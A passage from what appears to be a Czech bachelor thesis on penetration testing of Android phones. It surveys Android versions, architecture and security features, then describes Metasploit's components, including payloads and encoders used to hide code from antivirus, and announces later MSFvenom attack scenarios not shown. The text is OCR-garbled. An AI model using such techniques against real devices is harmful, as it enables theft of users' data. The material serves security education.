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ANOTACE

Tato prace se zabyva problematikou bezpecnosti modernich operaénich systémi v mobilnich
telefonech platformy Android pomoc nastroji Metasploit @ MSFvenom, které lze vyuzit
pro napadani mobilnich telefonii. Zdmérem prace je pfedvedeni Gtoku na mobilni telefon
s platformou Android a ziskani citlivych dat v riznych piipadech s vyuzitim a bez vyuziti

antivirového software a pfimym vlozenim skodlivého koédu do jiz existujici aplikace.
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TITLE

Penetration testing of mobile phones

ANNOTATION

This bachelor thesis deals with the security issues of modern operating systems in Android
mobile phones by using the Metasploit and MSFvenom tools that can be used for attacking
mobile phones. The aim of the thesis is to demonstrate the attack on an Android-based mobile
phone and to obtain sensitive data in various cases by using and without the usage of antivirus

software and direct insertion of malicious code into an existing application.
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UVOD

Vzhledem k enormnimu rozvoji moderni technologie, kdy mobilni zafizeni jsou soucasti
kazdodenniho zivota vétSiny z nas, je dllezité se zamyslet nad tim, jaké jsou nastrahy a rizika
pfi jejich pouZzivani.

Tato prace piedstavuje operacni systém Android, véetné jeho verzovani, kdy ukazdé
nasledujici verze jsou vyli¢eny vyhody oproti verzi ptedchozi. Popisuje architekturu OS
Android, kterd je slozena z 6 ¢asti, jez mezi sebou komunikuji a spolupracuji, tudiz nejsou tplné

oddé€leny, ackoliv kazda vrstva ma sviij ukol a vystupuje samostatné.

V dal$i ¢asti jsou rozebrany moznosti zabezpeCeni, které jsou poskytovany od spole¢nosti

Google nebo dalsimi eventualitami zabezpecéeni véetné moznosti, které jadro Linuxu poskytuje.

Nasledn¢ je rozebran framework Metasploit, véetné jeho architektury, vysvétleny zakladni
skupiny piikazt k ovladani a zakladni pojmy ¢i vysvétleno navazani spojeni mezi Gito¢nikem
a obéti prostiednictvim Meterpreteru. Prace se také zaméfuje na piedstaveni arozebrani
zakladnich piikazi programu MSFvenom, ktery slouzi k vytvareni Skodlivych aplikaci. Dale je

pfedvedena instalace frameworku Metasploit na Linuxovou distribuci Ubuntu.

Nasleduje zobrazeni Gtoku na mobilni telefon a ziskani citlivych dat ve tfech odlisnych
scénafich. V prvnim scénafi je ptfedvedeno vytvoreni Skodlivé aplikace ajeji distribuce
k uzivateli do nezabezpeceného zafizeni, moznosti titoku ito¢nika a ziskani citlivych dat obéti.
Druhy scénaf je zaméfen na Gtok na zafizeni, které je zabezpeCeno antivirovym programem.

Ve tietim scénafi je provedeno nahrani Skodlivého kodu do jiz existujici aplikace.

Zamérem prace je zjiSténi, jaké jsou moznosti odhaleni skodlivého kodu a jak se lze proti

utokim na mobilni telefon branit.
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1 TEORETICKA CAST

1.1 Operacni systém Android

Opera¢ni systém Android, vytvoieny spole¢nosti Google, Inc., patii mezi nejrozsifenéjsi
operaéni systémy pro mobilni zafizeni na svété. Jedna se 0 Open source platformu, ktera
zajistuje dostupnost, rozsititelnost a svobodu Sifeni kodu a pfi splnéni uréitych podminek
I Sifeni licence. Android je zaloZzen na jadie opera¢niho systému Linux a je uréen primarné
pro chytré mobilni telefony, tablety, chytré televize a dalsi elektronické dopliiky, napt.: chytré
hodinky, automobily a herni konzole. (Ujbanyai, 2012)

Historie OS Android zacind vroce 2003 v Kaliforniive mést¢ Palo Alto, kde
byla zalozena firma Android Inc., ktera se specializovala na vyvoj aplikaci pro mobilni
zatizeni. Zakladateli byli: Andy Rubin, Rich Miner, Nick Sears a Chris White. V roce 2005
byla spole¢nost  odkoupena spole¢nosti  Google, Inc., afirma Android se stala jeji
dcefinou spole¢nosti. Hlavnim diivodem tohoto kroku, byla snaha proniknout na trh mobilnich
telefond. V roce 2007 bylo zalozeno sdruzeni firem Open Headset Alliance, jehoz kol spo¢iva
ve vyvoji operac¢niho systému Android. V soucasné dobé skupina obsahuje 84 spole¢nosti.
Spolec¢nosti, které do uskupeni patii, jsou naptiklad: T-Mobile, Vodafone, Dell, Samsung

Electronics a Intel Inc. (Ujbanyai, 2012)

Od vydani prvni verze v zaii 2008, prosel Android mnoha aktualizacemi a opravami piedeslych
verzi. (Ujbanyai, 2012)Mimo prvnich dvou verzi je kazda dalsi verze oznacena specialnim
oznacenim, které symbolizuje nazev pochutiny napiiklad: Cupcake, Donut, Oreo, Lollipop.

Posledni vydana verze je Android 8.0 s oznacenim Oreo.

1.2 Verze OS Android

popsat zmény, vyhody a nevyhody oproti verzi predchozi.
Android 1.0

Prvni verze byla vydana 23. zaii 2008, byla zalozena na jadru OS Linux 2.6.25 a obsahovala

pouze zakladni programy. Jediné zafizeni, na kterém OS bézel, bylo HTC Dream.
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Android 1.0 obsahoval:

e Android Market — repositar, ktery umoznoval stahovat a instalovat dalsi
aplikace,

e plnohodnotny webovy prohlizec,

e O0bycejny fotoaparat bez jakykoliv mozZnosti,

e podpora Wi-Fi a Bluetooth,

e aplikace od spolec¢nosti Google — Gmail, Google kontakty, Google kalendar
a Google mapy, které mély uzivateli usnadnit vyuzivani zafizeni. (Ujbanyai,

2012)

Android 1.1

Druha verze byla oficialné vydana 9. tinora 2009, pouze nékolik mé&sict po vydani prvni verze.
Podstatou jejiho vypusténi bylo feSeni chyb a nedostatkii verze 1.0. Zmény se tykaly pouze
zatizeni HTC Dream. (Kilian, 2015; Ujbéanyai, 2012)

Nové zde bylo mozné:

e ukladat ptilohy SMS a MMS zprav,
e Zobrazeni a skryti Ciselniku.

Opravenymi chybami piedchozi verze bylo:

e odstranéni polozek nastaveni, které nebyly otestovany nebo nefungovaly
spravng,
e ZlepSeni hlaseni 0 chybach pfipojeni, kterd umoziiuji snadnéjsi hledani

a vyfeSeni chyby. (Kilian, 2015; Ujbanyai, 2012)

Android 1.5 Cupcake

V poradi tieti verze byla vydana 27. dubna 2009 aje prvni verzi, ktera dostala nazev dle
pochutiny. Zménéna byla nejen verze jadra, ktera se zménila na verzi 2.6.27, ale byly pridany

nové funkce:

e rychlejsi ziskani polohy pomoci GPS,

e softwarova klavesnice na obrazovce,

e zrychleni spousténi fotoaparatu @ moznost nahravani videa,
e podpora kopirovani a vkladani textu,
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e Zpfesnéni a vyrazné zrychleni uzivatelského rozhrani. (Kilian, 2015; Ujbéanyai,

2012)

Vzhledem k pfechodu na novou verzi jadra se opera¢ni systém jevil mnohem robustnéji
a stabilnéji nez predchozi verze. Nejvétsi piinos byl zaznamenan v piipadé softwarové

klavesnice, ktera vytlac¢ila hardwarovou klavesnici. (Kilian, 2015; Ujbanyai, 2012)
Android 1.6 Donut

Tato verze byla vydana 15. zati 2009 z divodu nové verze jadra 2.6.29. Systém byl doplnén

0 dalsi funkénosti:

e podpora pro rozdilné rozliseni obrazovky,

e vykonnéjsi repositafe Android Market,

e VvylepSeni vyhledavani hlasem,

e piidano API pro praci s gesty,

e pfidan novy ovladaci panel pro praci s VPN,
e indikator vyuziti baterie,

e automatické zalohy. (Kilidn, 2015; Ujbanyai, 2012)

Mezi nejvétsi piinos této verze patii podpora rozdilného rozliseni obrazovky, které umoziuje

beh OS na zatizenich, kterd podporuji rizné rozliSeni obrazovek. (Kilian, 2015)
Android 2.0/2.1 Eclair

Nastupujici verze je vydana 26. fijna 2009, postavena na stejném jadre jako verze 1.6 a piinasi

s sebou mnoho novych vyhod:

e podpora Bluetooth verze 2.1,

e podpora vice ucta v kontaktech,
e VylepSeny webovy prohlizec,

e podpora HTMLS5,

e podpora MS Exchange,

e vylepSeni softwarové klavesnice,

e synchronizace kontaktu.

15



Tato verze predstavovala jednu z nejzakladnéjsich zmén od prvni verze. Zména byla podstatna,
jak po vizualni strance, tak po strance funkcionalni. Mnoho malych vyhod a vylepseni hralo

podstatnou roli v oblibenosti zafizeni. (Kilian, 2015; Ujbanyai, 2012)
Android 2.2 Froyo

Nasledujici verze, ktera byla zalozena na Linuxovém jadru 2.6.32, byla piedstavena

20. 5. 2010, spolu s ni bylo piedstaveno mnoho novych funkci a vylepseni naptiklad:

e moznost instalace aplikaci na pamét'ovou kartu,

e zrychleni vykonu pomoci Just In Time kompilaci, kterd vede k rychlejSimu
spousténi kodu,

e podpora USB a Wi-Fi tethering,

e VvylepSeni spravy paméti RAM,

e moznost piidani hesla k zam¢eni zatizeni,

e zvySeni vykonu prohlizece.

Ukolem nové verze byla snaha o vyrazné zvyseni rychlosti a 0 zjednoduseni prace s OS.
(Kilian, 2015; Ujbanyai, 2012)

Android 2.3/2.4 Gingerbread

Nova verze zaloZzena na Linuxovém jadru verze 2.6.35 byla vydana 6. 12. 2010 a ptinesla

s sebou n¢kolik zajimavych zmén:

e VvylepsSeni funkce kopirovat a vlozit,

e VvylepSena sprava energie,

e podpora NFC,

e zména podporovaného souborového systému,
e aktualizace uZzivatelského prostiedi,

e podpora internetové telefonie pomoci protokolu SIP.

Vétsina vSech provedenych zmén se tykala promény uzivatelského prostiedi, kde prevladala

snaha o zvyseni vykonu OS a snizeni spotieby baterie. (Kilian, 2015; Ujbanyai, 2012)
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Android 3.0/3.1/3.2 Honeycomb

Android 3.0 byl navrZen pro zafizeni s vét§im rozliSenim obrazovky, pfevazné pro tablety.

| ptes nizkou oblibenost pfinasi nékolik novych funkci:

e nejsou vyuzivana fyzicka tlacitka, ale pouze softwarova tlacitka na displeji,
e prepracovani kldvesnice pro pohodInéjsi vyuZzivani,
e moznost Sifrovani uzivatelskych dat,

e podpora prislusenstvi ptipojeného pies USB. (Kilian, 2015; Ujbanyai, 2012)

Android 4.0/4.0.1/4.0.2 Ice Cream Sandwich

Verze Android 4.0 se natrhu objevila 19. fijna 2011, byla zalozena na Linuxovém jadie
verze 3.0.1. Po pokusu piedchozi verze, ktera byla dostupnd pouze pro tablety, dochazi
ke zméné a je predvedena platforma, ktera bude vhodna pro vSechny typy zafizeni. Takova

zména S sebou ptinasi mnoho novych funkei a vymozenosti:

e funkce Android Beam — slouzi pro rychlejsi vyménu dat mezi dvéma
zatizenimi pomoci NFC,

e vylepSené rozpoznavani hlasu,

® rozpoznavani tvare,

e kontrola vyuzivani mobilnich dat,

e podpora pro Wi-Fi direct — slouzi k propojeni dvou zatizeni ptes Wi-Fi,

e podpora pro nahravani videa v rozliSeni 1080 p.

Podstatnou novinkou u verze 4.0 byla markantnéjsi snaha 0 zabezpeceni, bylo pfidano Sifrovani
dat, které zamezilo pfistupu, dokud se do zafizeni nepfiihlésil pravoplatny uzivatel. (Kilian,

2015; Ujbanyai, 2012)
Android 4.1/4.2/4.3 Jelly Bean

Nastupujici platformy 4.1 az 4.3 byly vyrazné zaméfeny na vylepSeni designu a vylepSeni
uzivatelského rozhrani. Podstatnou soucasti platformy byl projekt Butter, jehoz cilem bylo
minimalizovat prodlevy systému a zrychlit jeho odezvu. | kdyz se vétsina vylepSeni tykala

pievazné designu i v této verzi bylo pfidano nékolik novych funkci:

e sifrovani placenych aplikaci stazenych z Google Play,
e podpora vicekanalového zvuku,

17



e podpora technologie Miracast — bezdratovy pienos obrazu pies Wi-Fi
do jiného zatizeni napf.: televizor, projektor,

e podpora pro Bluetooth Smart technology — umoznuje snizit spotiebu energie
pfi pfenosu. (,,Jelly Bean”, 2015; Kilian, 2015)

Android 4.4 Kitkat

Android 4.4 je navrhnut pro rychly béh na mnohem vétsi skale zatizeni neZ vSechny piedchozi
platformy. Pfednosti byla optimalizace pro mnohem méné¢ vykonna =zafizena, kterym
postacila pro spusténi pamét RAM pouze 512 MB. Zalozen byla na Linuxovém jadte verze

3.4.0. Nejzakladnéjsi zmény se tykaly opét vizualni stranky systému:

e vylepSené uzivatelské rozhrani,

e kompatibilita se systémem Android Wear — tento systém se objevuje
Vv nositelné elektronice a umozituje snadné ptipojent,

e nove byla ptidana podpora bezdratového tisku,

e Senzor pocitani krokii,

e moznost nahravani videozaznamu z obrazovky,

e vylepseni kryptografickych algoritmii a pfidani n€kolika dalSich,

e podpora pro digitalni podpisy. (,,Android KitKat”, 2015; Kilian, 2015)

Android 5.0/5.1 Lollipop

Nasleduji platforma byla zalozena na Linuxovém jadie 3.4.0 a byla vydana 12. listopadu 2014.
Podstatnou soucasti jsou opét velké vizualni zmény uzivatelského rozhrani, navigaéni listy

a ikon. Mimo to probé&hlo nékolik zajimavych zmén:

e lepsi vydrz baterie,

e sniZeni odezvy a zvySeni vykonu systému,

e nové Sifrovani uzivatelskych dat, které umozni chranit data pfi ztracenych
nebo odcizenych zafizeni — nepomiize ani resetovani
telefonu do tovarniho nastaveni,

e vymahani funkce SE Linux pro vSechny aplikace,

e nove podpora pro Dualni sim karty. (,,Android Lollipop”, 2015; Kilian, 2015)
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Android 6.0 Marshmallow

Verze 6.0 byla vydana 5. fijna 2015 a pfinasi s sebou mnoho novych moznosti a funkci. V této
verzi se nekonaly velké vizualni zmény. Pravdépodobné nejvétsi zménou prosla opravnéni

aplikaci a Gspora baterie.

e novy systém opravnéni — Aplikace nemusi vyuZzivat vSechna dostupnd préva, ale
pouze ta, ktera jsou uzivatelem povolena,

e podpora sensoru otisku prsti,

e propracovana sprava energie — aplikace Doze a APP Standby,

e podpora USB-C,

e presnéjsi a ispornéjsi vyuzivani paméti,

e mobilni platby. (,,Android 6.0 Marshmallow”, 2015; Kovaczicz, 2015)

Android 7.0/7.1 Nougat

Piedposledni verze byla vydana 22. srpna 2016. Tato verze s sebou piinesla mnoho pfijemnych

aktualizaci a uzivateli novych funkei:

e moznost spustit dvé okna vedle sebe,

e rychlé pfepinani poslednich dvou aplikaci,

e zmény dlazdic v rychlém nastavent,

e zm¢éna Vvelikosti polozek na obrazovce,

e Vvylepsena sprava energie,

e podpora virtualni reality,

e novy Android JIT Compiler —az 0 75 % rychlejsi instalace aplikaci,

e Spofi¢ mobilnich dat,

e zlepseni dotykové odezvy displeje. (,,Android 7.0 for Developers”, 2015;
»Android 7.0 Nougat”, 2015; Macho, 2016)

Android 8.0 Oreo

Nejnovéjsi verze se zaméfuje prevazné vydrz baterie, bezpecCnost a optimalizaci. Byla
vypusténa 21. srpna 2017 a prozatim se fadi mezi nejmén¢ rozsitené verze. Posledni verze
s sebou piinasi pro uZzivatele i pro vyvojafe mnoho zajimavosti:

e vylepSena sprava energie pro aplikace v pozadi,
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e piepracovani notifikaci,
e piidani funkce obraz v obraze,

e neviditelné aktualizace — stahovani a instalace aktualizaci se provadi na pozadi.

(,,Android Oreo”, 2015; Srb, 2017; Trlica, 2017a)

Na obrazku €. 1 je zobrazeno aktualni rozdéleni nejoblibenéjSich verzi.

Version Codename - Distribution
Marshmallow

233- Gingerbread -
237

4.03- Ice Cream 15 0.5% = \8,?;’, .
4.0.4 Sandwich ;‘L\ xJ:cI, faoe:: Sandwich
4.1.x Jelly Bean 16 2.2%

4.2 17 31% Lolipop o

4.3 18 0.9%

4.4 KitKat 19 13.8%

5.0 Lollipop 21 6.4%

5.1 22 20.8%

6.0 Marshmallow 23 30.9%

7.0 Nougat 24 17.6%

71 25 3.0%

8.0 Oreo 26 0.3%

Obrazek 1 Podil verzi na trhu (Trlica, 2017a)

1.3 Architektura OS Android

Architektura OS Android je slozena z 6 Casti, jak je zfejmé z obrazku 2. Z obrazku vyplyva, ze
kazda vrstva ma svij vlastni tikol a vystupuje samostatné, ale pti praxi dochazi ke komunikaci
a spolupraci mezi jednotlivymi vrstvami, tudiz mezi sebou nejsou vrstvy uplné oddéleny.
(Ujbanyai, 2012)
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System Apps

Calendar

Java API Framework

Managers
Content Providers
Activity Location Package Notification

View System Resource Telephony Window

Native C/C++ Libraries

Webkit OpenMAX AL Android Runtime (ART)

Media Framework OpenGL ES o Core Libraries

Hardware Abstraction Layer (HAL)

Bluetooth Camera Sensors

Linux Kernel

Drivers

Binder (IPC) Display

Bluetooth Camera

Shared Memory

Power Management

Obrazek 2 Vrstvy OS Android (Platform Architecture, 2015)

1.3.1 Linux Kernel
Kernel je zakladem operacniho systému. Jeho hlavnim ukolem je zajiStovani komunikace
mezi hardwarovymi a softwarovymi komponentami. Pro tuto komunikaci jsou vyuZzivany

ovladace. Pii startu zafizeni je jadro zavedeno do operacni paméti a postupné je mu predano
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fizeni a kontrola nad OS naptiklad: Sprava procest, podpora spravy paméti, sprava siti a sprava
napajeni a vyuzivani klicovych stupiili zabezpeceni. Jednim z diivodi pouziti Linuxového jadra

je moznost vyuziti prenositelnosti mezi mnoha zatizenimi. (Ujbanyai, 2012)

1.3.2 Hardware Abstraction Layer (HAL)

Android dava moznost implementovat vlastni specifikace pro zafizeni a vlastni ovladace.
Modul HAL definuje standartni rozhrani pro hardwarové komponenty. Vrstva HAL se sklada
z knihovnich modultl, z nichz kazdy modul je ur¢en pro konkrétni hardwarovou komponentu.
V moment¢, kdy dojde K pfijmuti pozadavku K piistupu pomoci API Framework, systém
Android nacte pozadovanou knihovnu pro hardwarovou komponentu. Timto zpisobem je

mozné vytvorit modul bez ovlivnéni a upravy systému vyssi trovné. (Platform Architecture,
2015)

1.3.3 Native Libraries

Zakladni knihovny OS Android jsou napsany v programovacim jazyce C/C++ ajedna se
0 zakladni funkce systému. Funkce jsou vyvojaiim poskytnuty pomoci Android Aplication

Framework. Tato kategorie obsahuje naptiklad:

e Audio Manager — knihovna slouzici pro praci se zvuky a vyzvanénim

e Free Type — knihovna pro bitmapové a vektorové vykreslovani pisma

e Libc — standardni C knihovna uzptisobena pro praci na vestavéném zatizeni

e Media Framework — knihovna pro praci s medialnimi soubory

e OpenGL - knihovna slouzici pro praci s 3D grafikou

e SQLite — knihovna obsahujici relacni databazi, ktera je dostupna vSem
aplikacim

e Surface Manager — knihovna spravujici piistup k displeji

e Web Kit — knihovna poskytujici nastroje pro prohlizeni internetu

e SSL — knihovna umoziujici vyuzivani Sifrované komunikace (,,Platform

Architecture”, 2015; Ujbanyai, 2012)

1.3.4 Android Runtime

Tato vrstva slouzi primarné pro béh aplikaci. Aplikace nejsou naprogramovany v nativnim
kodu, ale v programovacim jazyce Java. Do verze Androidu 5.0 je vyuzivan Dalvik Virtual

Machine, jejimz tikolem je ptevod kodu aplikaci do Java byte kodu. DVM pro svij béh vyuziva
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zékladni vlastnosti Linuxového jadra, napiiklad: sprava procest, sprava paméti nebo podpora
pro praci s vlakny. Hlavnim divodem vyuziti DVM je snaha optimalizace virtualniho stroje
pro potieby mobilniho zafizeni. Podstatnou roli zde hraje pokus o0 nejvétsi vykon se
zachovanim nejmensi spotieby energie. Divod, pro¢ byla zvolena DVM misto Java Virtual
Machine je pfedevsim licencni. Java VM a jeho soucasti nejsou Open source. Kazda aplikace
béZi ve svém vlastnim procesu S vlastni instanci virtualniho stroje. DVM je navrzen tak, Ze jej
mozné spoustét nékolik virtualnich stroji soucasné a piesto efektivné. Od verze 5.0 je vyuZzivan
ART, ktery funguje na stejném principu jako DVM, ale vyuzivd mnoho novych vlastnosti
napiiklad: lepSi podpora pro ladéni, specializovany odbér vzorki, ptredbézna kompilace
a kompilace v realném cCase a hlaseni o selhani. (,,Platform Architecture”, 2015; Ujbanyai,
2012)

Android Core obsahuje sadu zakladnich knihoven, které poskytuji vétSinu funkci

programovaciho jazyka Java.

1.3.5 Java APl Framework
Mnoho funkci je v OS Android dostupnych prostfednictvim APl napsaném v programovacim
jazyku Java. Lze sije piedstavit jako stavebni bloky (Viz nize), pomoci kterych je mozné

vytvaret aplikace.

e View manager umoziiuje vyuzivat prvky grafického rozhrani, pouzivat hardware
zafizeni, pracovat s obsahem jinych aplikaci, vyuzivat fotoaparat, spoustét aplikace
na pozadi.
e Resource manager poskytuje pristup k nekédovym c¢astim jako fetézce, grafika,
pfidané soubory.
¢ Notification manager umoziuje vSem aplikacim zobrazovat upozornéni ve stavovém
radku.
e Activity manager slouZzi ke spravé zivotniho cyklu aplikace naptiklad start, pribéh
a konec.
e Content provider umoznuje aplikacim piistupovat a pracovat s daty z jinych aplikaci.
(Platform Architecture, 2015)
1.3.6 System Apps
Nejvyssi vrstva obsahuje samotné aplikace, které jsou vyuzivany uzivateli. Mize se jednat
0 pfedem nainstalované aplikace nebo aplikace, které si uzivatel sam nainstaloval. (Platform

Architecture, 2015)
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1.4 Zabezpeceni OS Android

Open Source architektura OS Android vyzaduje silnou bezpe¢nostni architekturu a piisné
bezpecnostni  programy. Vyuzivd se zde  vicestrankového zabezpeCeni,  které
svou flexibilitou dokaze  ochranit  vSechny uzivatele dané platformy. V kazdé
¢asti vyvojového zivotniho cyklu je podroben ptisnému bezpe¢nostnimu testovani. (Security,

2015)

1.4.1 Bezpecnost distribuovana spole¢nosti Google

Google nabizi uzivatelim moznost vyuzivani cloudovych bezpecnostnich sluzeb, které

vvvvvv

e Google Play — Jedna se 0 sluzbu, ktera umoziuje uzivatelim ziskavat,
nakupovat a instalovat aplikace pro jejich zatizeni. Sem nahrané aplikace
projdou kontrolou licence a skenovanim, zda neobsahuji skodlivy software.
Nespornou vyhodou této sluzby, kterou poskytuje pro vyvojare je moznost
oslovit potencionalni zakazniky svou aplikaci.

e Android Aktualizace — Aktualizace slouzi pro ziskani novych dostupnych
upgradu OS a vylepsSeni zabezpeceni.

e Ovéiovani aplikaci — Slouzi pro zneskodnéni skodlivych aplikaci. Automaticky
skenuje stahovanou aplikaci z Google Play a pokud je zavadna upozorni
uzivatele nebo aplikaci ze zatizeni odstrani.

e Sluzby aplikaci — Umoznuje aplikacim zalohovat sva data pomoci cloud
technologii.

e SafetyNet — Jedna se 0 systém, ktery pomaha sledovat a likvidovat znamé
bezpec€nostni hrozby.

e Android Device Manager — Webova nebo mobilni aplikace, ktera slouzi
k detekci a zjisténi umisténi zcizeného nebo ztraceného zatizeni. (Security,
2015)

1.4.2 Zabezpeceni systému a jadra

Vyuziti Linuxového jadra umoziiuje pouzivani pokroc¢ilych funkci zabezpeceni. Dovoluje
vyvojaiim vytvofit ovladace pro znamé jadro. Linuxové jadro poskytuje platformé Android
bezpecnou komunikaci mezi procesy, ktera umoziuje komunikaci mezi aplikacemi bézici

Vv riznych procesech. (System and kernel security, 2015)
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Vyhody poskytovany Linuxovym jadrem jsou:

e Model zaloZeny na opravnéni uZzivatell

e |zolaci procest

e Rozsifitelny mechanismus pro bezpe¢nou komunikaci mezi procesy
e Schopnost odstranit nepotiebné nebo bezpecnostné nestabilni

Casti jadra (System and kernel security, 2015)

Vzhledem K viceuzivatelskému vyuziti Linuxu je dulezité, aby jeden uzivatel nemohl
ovliviiovat data druhého uzivatele a vzajemné si nezasahovali do svych procesi. OS musi

zajistit aby:

e Uzivatel A nemohl Cist soubory uzivatele B
e UZivatel A nemohl vy€erpat pamét’ uZivatele B
e UZivatel A nevyc€erpal zdroje procesoru

e Uzivatel A nevycerpal zatizeni uzivatele B (System and kernel security, 2015)

1.4.3 Systémovy oddil a nouzovy rezim

Systémovy oddil, ktery je v zakladu nastaven na rezim ¢teni a neni mozné do néj zapisovat,
obsahuje jadro systému Android, knihovny OS, aplika¢ni framework a aplikace. Pfi spusténi
OS v nouzovém rezimu jsou k dispozici pouze piedinstalované aplikace vyrobcem. Aplikace
ttetich stran nejsou Vv zakladu spusStény, timto stylem je mozné vyloucit problém, ktery
zpusobuje jedna z aplikaci. Nasledné je mozné vyloucit i nebezpecnou aplikaci neboli malware.
Nouzovy rezim je vyuzivam piineoCekavané havarii systému, amize byt mocnym
pomocnikem. (System and kernel security, 2015)

1.4.4 Opravnéni souborového systému

Podstatou OS zaloZenych na Unixové distribuci je zajisténi integrity souborii mezi uzivateli.
Tzn. uzivatel A nemd opravnéni ménit soubory uzivatele B. Toto omezeni nesmi byt absolutni,

nybrz selektivni. UZivatel nebo vyvojaf musi mit moznost své soubory sdilet. (System and

kernel security, 2015)
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1.4.5 Ovérené zavadéni

Verze 6.0 a vyssi OS Android, podporuji transparentni integritu blokovych zatizeni a testuji
piitomnost rootkiti!. K tomuto ugelu je vyuzivana funkce dm-verity, ktera prochazi vrstvy
ulozi§té systému souborti a ovéfuje, zda odpovida ocekavané konfiguraci. Tato funkce
zajiStuje uzivateli stejny stav jako pii poslednim spusténim OS. (System and kernel security,
2015)

1.4.6 Kryptografie

OS Android poskytuje sadu kryptografickych rozhrani, které je mozné aplikaéné vyuZivat.
Nabizi se moznost pouziti standartnich protokoli jako napiiklad: AES, RSA, DSA a SHA,
nebo protokolt vyssi trovné jako: SSL, HTTPS. (System and kernel security, 2015)

1.4.7 Sifrovani souborového systému
Od verze 3.0 OS Android poskytuje Sifrovani celého souborového systému, které zajistuje

Sifrovani vSech uzivatelskych dat. (System and kernel security, 2015)

Od verze 5.0 Android podporuje Sifrovani celého oddilu disku. Ovéfeni probiha pomoci
uzivatelského hesla. Po zavedeni je nutné, aby se uzivatel ptihlasil, nez bude moci vyuzivat
svou ¢ast disku. Takto nastavené zabezpeceni vsak skyta i nevyhody. Pfi restartovani zafizeni
dojde k znepfistupnéni dat do okamziku, nez dojde k opétovné autorizaci uzivatele, to vede
ke zneptistupnéni nékterych zékladnich sluzeb napiiklad: nefunk¢énost budiku, nemoznost

ptijimat hovory. (System and kernel security, 2015)

Od verze 7.0 Android podporuje Sifrovani na arovni souborti. Pomoci riznych hesel muze byt

zasifrovano nekolik soubortd. (System and kernel security, 2015)

! Jedna se o sadu programi, pomoci kterych je mozné maskovat ptitomnost Skodlivého kodu.
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2 PRAKTICKA CAST
V prvni Casti prace jsou podrobné popsany pouzité nastroje, postupné vysvétleny zakladni
pojmy, pozadavky a jednotlivé kroky instalace piedstavenych nastroju. Naplni druhé

Casti prace je piedvedeni utoku na mobilni telefon s platformou Android a ziskani citlivych dat.

2.1 Metasploit Framework

Metasploit Framework je vytvaien jako OpenSource projekt od spole¢nosti Rapid7. Slouzi
K vytvareni a provadéni exploitli proti sitovym zafizenim. V soucasné dobé je vyuzivan
ve verzi 4.8. Puvodné byl Metasploit naprogramovan V programovacim jazyce Perl v roce
2003 programatorem H. D. Moorem. Od roku2007 je ale kompletné piepsan
do programovaciho jazyku Ruby. Obsahuje nejvétsi databazi exploiti arocné si jej
stdhnou miliony uzivateli. Pavodné byl uren pouze pro Unixové OS, ale nyni je mozné jej

pouzivat i vV OS Windows, kde bézi ve specialnim prostiedi Cygwin. (Agarwal, 2013)

2.2 Struktura Metasploit Frameworku

V soucasnosti patii Metasploit Framework Kk nejpouzivanéj§im nastrojum penetraéniho
testovani. Jeho nejvétsi vyhodou je snadnd rozSifitelnost @ moznost implementace vlastnich
plugint a nastroj, které se dale daji bez problému zavést a ihned vyuzivat. Architektura je
rozdélena do tfech hlavnich kategorii, jakje vidét na obrazku 3. (Allen, 2014)Postupné

si popiSeme vSechny prvky architektury.
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Metasploit Architecture

| UBRARIES | INTERFACES
e

Console

MODULES |

'pi_-,:l.mﬂgs][E;cplnnf-][Euu-udur‘:‘-][ MNops ][ Al ]

Obrazek 3 Architektura Frameworku Metasploit (Agarwal, 2013)

2.2.1 Architektura Frameworku Metasploit
Modules (moduly): Jsou nejzakladné&jsimi prvky celého systému. Kazdy modul ma svij

ptidéleny ukol a musi ho plnit spravné a efektivné. (Agarwal, 2013)

Payloads: Jedna se 0 kod, ktery tidi dalsi akce po zdarné exploitaci. Muze se jednat
napiiklad o pfidani uZivatele do napadnutého systému nebo mohou vytvofit  spojeni
mezi uto¢nikem a obéti. Metasploit obsahuje vice nez 250 payloadt. Pfi¢emz muzeme dale
bez problému rozsifovat 0 dal§i moduly, at uz stazené =z internetu nebo vlastnoru¢né

naprogramované. (Agarwal, 2013)

Exploits: Je kratky program, ktery ma zatkol vyuzit chyby v systému,
programu nebo sluzby. Jde 0 nalezeni a vyuziti chyby, kterou neosetfil programator. Mize se

jednat o pieteceni zasobniku nebo SQL injection. (Agarwal, 2013)

Encoders: Hlavni funkce kodéru je zaSifrovat ¢ast kodu tak, aby nedoslo k odhaleni
kodu antivirovymi programy nebo firewalem. Ve své podstaté se jedna 0 malware, kterému by

Vv pfipad¢€ odhaleni byl zamitnut pfistup k zafizeni. (Allen, 2014)

Nops (No Operation Performed): Jedna se 0 zajisténi konzistence payloadi pomoci
instrukci jazyka. (Allen, 2014)

Aux: Néplni téchto modult je skenovani, odposlouchavani, sniffing a mnoho dalsiho.

Ackoliv neposkytuji shell, jsou velice cenné pii penetracnim testovani. (Allen, 2014)
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Interfaces (rozhrani): Vytvaii nadstavbu pro praci s moduly a interakci s uzivateli. MSF

vyuziva vice rozhrani, pomoci kterych lze s Frameworkem pracovat. (Allen, 2014)

Msfconsole: patfi mezi neja¢innéjs$i  a nejsilnéjsi  interface pro ovladani. Je
velmi intuitivni a poskytuje pfistup prakticky ke vSem moznostem dostupnym v MSF.

Podporuje automatizaci. Neni pfili§ vhodna pro zacate¢niky. (Agarwal, 2013)

Msfcli: vyuziva ptikazovy fadek dané distribuce. Je vhodny pro zacatecniky.
Od roku 2015 jiz neni soucasti Frameworku. Pfedstavuje zjednodusenou verzi Msfconsole, ale

neobsahuje v§echny mozné funkce a nepodporuje automatizaci. (Agarwal, 2013)

Armitage: je graficky interface naprogramovany v jazyce Java. Jeho ucelem je
zjednodusit a zrychlit praci s MSF. Specialni funkci je mozZnost spoluprace vice testert. (Singh,

2012)

Msfweb: MSF muze byt ovladatelny i pies webovy prohlize¢. Mezi jeho vyhody patii
snadna ovladatelnost a uzivatelsky privétivy design. (Singh, 2012)

Libraries (knihovny): Knihovnam vdé¢ime za to, ze odpadaji dalsi problémy, které by se
museli fesit samostatné. Dale knihovny zajist'uji spravné fungovani celého Frameworku. Patii

sem napiiklad HTTP pozadavky nebo prace se sitovymi protokoly. (Singh, 2012)

Rex: Zakladni knihovna pro vétsinu ukold, ktera slouzi pro praci se sitovymi sockety
a protokoly. (Singh, 2012)

MSF Core: Je knihovna, jejiz hlavni ukol spociva v rozsifovani knihovny Rex. Dale je
zodpovédna za komunikaci mezi rozhranimi, relacemi a moduly. Jedna z jejich ¢asti se vénuje
zaSifrovani payloadi, aby nedos$lo k prozrazeni napiiklad antivirovym softwarem. (Agarwal,

2013)

MSF Base: Tato zakladni knihovna je navrzena pro podporu knihovny MSF Core.
